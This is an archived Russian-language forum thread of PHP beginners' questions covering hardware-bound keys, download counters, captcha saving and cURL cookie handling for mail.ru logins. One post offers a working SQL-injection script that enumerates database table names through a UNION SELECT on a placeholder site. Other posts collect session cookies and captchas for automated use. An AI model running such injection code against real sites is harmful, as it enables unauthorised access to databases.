[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. NuR

    NuR Elder - Старейшина

    Joined:
    11 Dec 2005
    Messages:
    85
    Likes Received:
    58
    Reputations:
    -2
    почему это нельзя, еще как можно! например
    что то вроди
    PHP:
    <?
    exec('cat /proc/cpuinfo',$info);
    $system_key=md5(serialize($info));
    echo 
    $system_key;
    ?>
    шпуняешь все это в зенд и радуешься привязке к железу)
     
  2. Tombik

    Tombik Banned

    Joined:
    21 Dec 2008
    Messages:
    18
    Likes Received:
    85
    Reputations:
    13
    именно!
     
  3. Myload

    Myload Banned

    Joined:
    15 Mar 2009
    Messages:
    0
    Likes Received:
    96
    Reputations:
    6
    ищу скрипт php сколько раз скачали
    программу через линк

    пример
    Скачать
    Скачали раз(а): 6575

    надо срочна скрипт с меня +++;)
     
  4. Dr1ver

    Dr1ver Elder - Старейшина

    Joined:
    20 Aug 2008
    Messages:
    83
    Likes Received:
    80
    Reputations:
    14

    Для этого нужно знать структуру твоего линка, знать какие данные он передаёт, хранятся ли у тебя скажем в mysql данные о файлах.

    Я бы скажем передал на php скрипт ID файла, который бум скачивать,

    потом какая нибудь функция типа readfile();

    Ну а потом просто SQL запрос UPDATE значения счетчика.


    Это принцип, если надо, могу написать скрипт
     
    1 person likes this.
  5. Myload

    Myload Banned

    Joined:
    15 Mar 2009
    Messages:
    0
    Likes Received:
    96
    Reputations:
    6
    на пиши если тебе не трудно спасибо! :rolleyes:
     
    #11305 Myload, 19 Aug 2009
    Last edited: 19 Aug 2009
  6. geforse

    geforse Elder - Старейшина

    Joined:
    2 Mar 2008
    Messages:
    617
    Likes Received:
    290
    Reputations:
    1
    Как сохранить капчу, которая постоянно меняется ?

    Пример:
    site.ru/img.php?g=123 (будет одно значение, если обновить, то будет другое значение капчи)

    Тоесть я захожу на страницу с капчей и как мне сохранить только рисунок капчи ?
     
  7. KaZ@NoVa

    KaZ@NoVa Elder - Старейшина

    Joined:
    5 Jul 2008
    Messages:
    368
    Likes Received:
    438
    Reputations:
    -16
    Из кэша браузера, разве что, либо попробовать врубить автономный режим и сохранить изображение каптчи.
     
  8. geforse

    geforse Elder - Старейшина

    Joined:
    2 Mar 2008
    Messages:
    617
    Likes Received:
    290
    Reputations:
    1
  9. FireFenix

    FireFenix Elder - Старейшина

    Joined:
    3 Jun 2009
    Messages:
    390
    Likes Received:
    115
    Reputations:
    23
    я тебе ж уже давал скрипт - пример работы с капчей!
    PHP:
        function post ($url='',$content=null,$referer=null,$follow=0  
        { 
            GLOBAL 
    $cookie

            
    $ch curl_init();   
            
    curl_setopt($chCURLOPT_URL,$url); 
            
    curl_setopt($chCURLOPT_HEADER1); 
            
    curl_setopt($chCURLOPT_RETURNTRANSFER,1); 
            
    curl_setopt($chCURLOPT_TIMEOUT15); 
            
    curl_setopt($chCURLOPT_USERAGENT'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.1) Gecko/2008070208'); 
            
    curl_setopt($chCURLOPT_FOLLOWLOCATION$follow);  
            if (!empty(
    $cookie)) curl_setopt($chCURLOPT_COOKIEimplode('; ',array_values($cookie))); 
            if (!empty(
    $content)) {curl_setopt($chCURLOPT_POST1);curl_setopt($chCURLOPT_POSTFIELDS$content);} else {curl_setopt($chCURLOPT_POST0);} 
            if (!empty(
    $referer)) curl_setopt($chCURLOPT_REFERER$referer); 

            
    $ss=curl_exec($ch); 
            
    curl_close($ch); 
             
            if (
    preg_match_all('#^Set-Cookie: (([^;=]+)=([^;=]+))#mi',$ss,$cook))  
            { 
                if (
    $tmpcookie=array_combine($cook[2],$cook[1])) 
                    
    $cookie=(array)$tmpcookie + (array)$cookie
            } 
            return 
    preg_replace('~[\s\S]+\r\n\r\n~U','',$ss,1); 
        } 
    PHP:
    unset($_SESSION['mir']); 
    // Получаем начальные куки 
    $in post('http://site.ru/login'); 
    preg_match('#<img src="http://site.ru/captcha/login?(.*?)"#i'$in$match_capt);   
    // Делаем локальную копию куки 
    file_put_contents('local.jpg',post('http://site.ru/captcha/login?'.$match_capt[1],null,'http://site.ru/login')); 
    (c) Чей-то
     
    1 person likes this.
  10. geforse

    geforse Elder - Старейшина

    Joined:
    2 Mar 2008
    Messages:
    617
    Likes Received:
    290
    Reputations:
    1
    FireFenix,спс

    просто всегда статичная капча появлялась )
     
  11. lucky_guy

    lucky_guy New Member

    Joined:
    17 Aug 2009
    Messages:
    11
    Likes Received:
    1
    Reputations:
    0
    доработка к моему graber'y, добавил туда парсер.

    PHP:
    <?php
    echo"----------------------------------\n";
    echo
    "|SQL-injection Grabber and Parser|\n";
    echo
    "|     Povered by lucky_guy!      |\n";
    echo
    "----------------------------------\n";
    $fop=fopen("temp.txt","a");
    for(
    $i=1;$i<100;$i++){
    $url=fopen("http://bla-bla.com/index.php?id=1'+union+all+select+1,concat(char(94),table_name,char(94))+from+information_schema.tables+limit+$i,1/*","r");
    while(!
    feof($url)){
    $buf=fgets($url128);{
    fwrite($fop,$buf);
    }}}
    fclose($url);
    fclose($fop);
    $fop1=fopen("result.txt","w");
    $fop=fopen("temp.txt","r");
    if(
    $fop){
    $size=filesize("temp.txt");
    $fr=fread($fop,$size);}
    preg_match_all("/\^(.*)\^/isU",$fr,$fou,PREG_PATTERN_ORDER);
    for(
    $i=0;$i<count($fou[1]);$i++){
    echo 
    $fou[1][$i]."\n";
    fwrite($fop1,$fou[1][$i]."\r\n");}
    fclose($fop);
    fclose($fop1);
    system("del temp.txt");
    echo
    "----------------------------------\n";
    echo
    "|              DONE!             |\n";
    echo
    "----------------------------------\n";
    ?>
     
    #11311 lucky_guy, 20 Aug 2009
    Last edited: 20 Aug 2009
  12. Kornero

    Kornero New Member

    Joined:
    31 Dec 2006
    Messages:
    18
    Likes Received:
    2
    Reputations:
    0
    Подскажите пожалуйста, как бы мне на php реализовать такую задачку: у меня есть логин и пароль от mail.ru, мне надо сделать из них куки, которые я потом передаю другому скрипту и он мне что-нить делает=)

    я пробовал так:
    PHP:
    <?php
    $ua 
    'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2';
    $ref 'http://win.mail.ru/cgi-bin/auth';

    $post 'Login=ЛОГИН&Domain=mail.ru&Password=ПАРОЛЬ&level=0';

    $ch curl_init($ref);

    $cfile 'F:\xampp\htdocs\MailRuCookies\cookies.txt';

    curl_setopt($chCURLOPT_RETURNTRANSFER1);
    curl_setopt($chCURLOPT_FOLLOWLOCATION0);
    curl_setopt($chCURLOPT_USERAGENT$ua);

    curl_setopt($chCURLOPT_COOKIEJAR$cfile);
    curl_setopt($chCURLOPT_COOKIEFILE$cfile);

    curl_setopt($chCURLOPT_POST1);
    curl_setopt($chCURLOPT_POSTFIELDS$post);
    $res curl_exec($ch);
    curl_close($ch);
    $res iconv('UTF-8','windows-1251',$res);
    echo 
    $res;

    ?>
    Но в файле cookies.txt у меня появились только значения t,Mpop,mrcu... Я скорее всего делаю вообще не то что надо делать,но чёто в книжках умных по этому поводу ничего не нашёл.
     
  13. geforse

    geforse Elder - Старейшина

    Joined:
    2 Mar 2008
    Messages:
    617
    Likes Received:
    290
    Reputations:
    1
    PHP:
           function post($url,$post,$refer)
        {
           
    $ch curl_init($url);
           
    curl_setopt($chCURLOPT_USERAGENT"Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
           
    curl_setopt($chCURLOPT_POST1);
           
    curl_setopt($chCURLOPT_POSTFIELDS$post);
           
    curl_setopt($chCURLOPT_REFERER$refer);
           
    curl_setopt($chCURLOPT_COOKIEJAR"./cook");
           
    curl_setopt($chCURLOPT_COOKIEFILE"./cook");
           
    curl_setopt($chCURLOPT_FOLLOWLOCATION1);
           
    curl_setopt($chCURLOPT_RETURNTRANSFER1);
           
    $result  curl_exec($ch);
           return 
    $result;
        }
    Почему у меня не работаю куки на последнем Denwer'e, а на хостинге всё прекрасно работает ? :(

    куки.txt тоже пробовал ставить не помогает :(
     
  14. Crepers

    Crepers New Member

    Joined:
    20 Mar 2009
    Messages:
    2
    Likes Received:
    2
    Reputations:
    0
    curl_setopt($ch, CURLOPT_COOKIEJAR, $_SERVER['DOCUMENT_ROOT'].'/cookie.txt');
     
    2 people like this.
  15. geforse

    geforse Elder - Старейшина

    Joined:
    2 Mar 2008
    Messages:
    617
    Likes Received:
    290
    Reputations:
    1
    не помогло) .txt файл не создался и сайт мне сказал чтобы я включил куки :)
     
  16. Crepers

    Crepers New Member

    Joined:
    20 Mar 2009
    Messages:
    2
    Likes Received:
    2
    Reputations:
    0
    На локалке как раз у меня лично работает в таком виде... тхт файл должен создаться не в папке со скриптом а в localhost\www\ (посмотри его там)
    Сообщение сайт выдал..?! Может где-то не поменял в скрипте..? Везде должны стоять
    $_SERVER['DOCUMENT_ROOT'].'/cookie.txt'
    вместо
    "./cook"
     
  17. geforse

    geforse Elder - Старейшина

    Joined:
    2 Mar 2008
    Messages:
    617
    Likes Received:
    290
    Reputations:
    1
    там он и оказался))

    спасибо, наверно и впрямь что-то со скриптом, буду капать :)
     
  18. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    PHP:
    ...
    curl_setopt($chCURLOPT_HEADER1);
    $res=curl_exec($ch);
    preg_match_all('#Set-Cookie: (.*); expires#i'$res$matches);
    print_r($matches);
    ...
     
  19. Kornero

    Kornero New Member

    Joined:
    31 Dec 2006
    Messages:
    18
    Likes Received:
    2
    Reputations:
    0
    Приписал код от mailbrush мне вывелись значения только t и Mpop. Но если я захожу на мыло и в юрле прописываю javascript:alert(document.cookie); то там ещё и значения mrcu; p; c240; c56; c8; Mpopl. Подскажите как мне их получить с помощью POST запроса или может можно как-то иначе...
     
  20. d_x

    d_x Banned

    Joined:
    25 Mar 2008
    Messages:
    558
    Likes Received:
    650
    Reputations:
    210
    Попробуй заменить регулярку на такую:
    PHP:
    preg_match_all("/Set-Cookie: (.+)(;|\r)/iUs",$res$matches);
    А вообще, вполне вероятно, что все эти значения cookies устанавливаются именно JavaScript'ом, а не сервером отсылаются, поэтому ты их так просто не получишь.
     
Thread Status:
Not open for further replies.